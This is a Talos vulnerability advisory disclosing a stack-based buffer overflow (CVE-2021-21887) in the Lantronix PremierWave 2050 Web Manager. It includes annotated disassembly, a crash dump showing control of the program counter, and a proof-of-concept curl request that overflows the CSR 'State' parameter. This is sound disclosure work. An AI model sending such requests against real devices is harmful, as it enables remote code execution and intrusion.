Talos Vulnerability Report

TALOS-2021-1331

Lantronix PremierWave 2050 Web Manager SslGenerateCSR stack-based buffer overflow vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21887

Summary

A stack-based buffer overflow vulnerability exists in the Web Manager SslGenerateCSR functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

A specially crafted HTTP request can lead to a stack overflow in the function responsible for handling the `SslGenerateCSR` ajax directive in the PremierWave 2050 Web Manager application, `ltrx_evo`. A series of unvalidated `strcat` calls mean that an authenticated attacker with the `ssl` permission can overflow a stack-based buffer and corrupt the stack frame, resulting in attacker-control of the program counter and therefore remote code execution.

Below is a relevant portion of the vulnerable function which handles the `s` parameter, containing the CSR “State” string. Similar, but excluded, portions exist for the handling of the `l`, `o`, `ou`, and `cn` fields, which contain the CSR’s “Locality”, “Organization”, “Organizational Unit” and “Common Name”.

```
.text:000950DC                 LDR    R1, =aOpensslReqNewN ; "openssl req -new -nodes -sha256"
.text:000950E0                 ADD    R0, SP, #0x698+command ;      [1] This buffer, titled "command" here, is allocated for 1048 bytes
.text:000950E4                 BL     strcpy ;                          It is where the `openssl` command will be constructed

...

.text:00095194                 MOV    R0, R4
.text:00095198                 LDR    R1, =(a2uS+7) ; "s"
.text:0009519C                 BL     http__get_param_by_name ;     [2] Fetch the "s" POST parameter
.text:000951A0                 SUBS   R6, R0, #0 ;                  [3] Store the value into R6 and confirm it is not NULL
.text:000951A4                 BEQ    loc_951B4
.text:000951A8                 LDRB   R3, [R6]
.text:000951AC                 CMP    R3, #0 ;                      [4] Also confirm that the string it points to is not NULL
.text:000951B0                 BNE    loc_951D0

...

.text:000951D0                 LDR    R1, =aSt ; "/ST="
.text:000951D4                 ADD    R0, SP, #0x698+command
.text:000951D8                 BL     strcat ;                      [5] strcat(command, "/ST=")
.text:000951DC                 MOV    R1, R6  ; src
.text:000951E0                 ADD    R0, SP, #0x698+command
.text:000951E4                 BL     strcat ;                      [6] strcat(command, R6)  <-- No bounds checking
```

Submitting a sufficiently long value in any (or all) of the identified HTTP post parameters results in attacker control of the program counter and potential for code execution.

Crash Information

```
Thread 11 "ltrx_evo" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 19159.19499]

─────────────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x1
$r1  : 0x0
$r2  : 0x422444d4  →  0x00000000
$r3  : 0x2
$r4  : 0x4d4d4d4d ("MMMM"?)
$r5  : 0x4d4d4d4d ("MMMM"?)
$r6  : 0x4d4d4d4d ("MMMM"?)
$r7  : 0x4d4d4d4d ("MMMM"?)
$r8  : 0x6
$r9  : 0x4093283d  →  0x54480000
$r10 : 0x40913610  →  0x40914258  →  0x0014c024  →  "/logout"
$r11 : 0x6
$r12 : 0x0
$sp  : 0x4223cec8  →  "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM[...]"
$lr  : 0x000e3c78  →   movs r1,  r0
$pc  : 0x4d4d4d4c ("LMMM"?)
$cpsr: [negative zero carry overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────────────────────────────────────────
```

Exploit Proof of Concept

curl -s -k -X $’POST’ –user admin:PASS –data-binary
$’ajax=SslGenerateCSR&c=AU&s=MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
$’http://192.168.0.1/’

Timeline

2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date
2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT
TALOS-2021-1330

NEXT REPORT
TALOS-2021-1332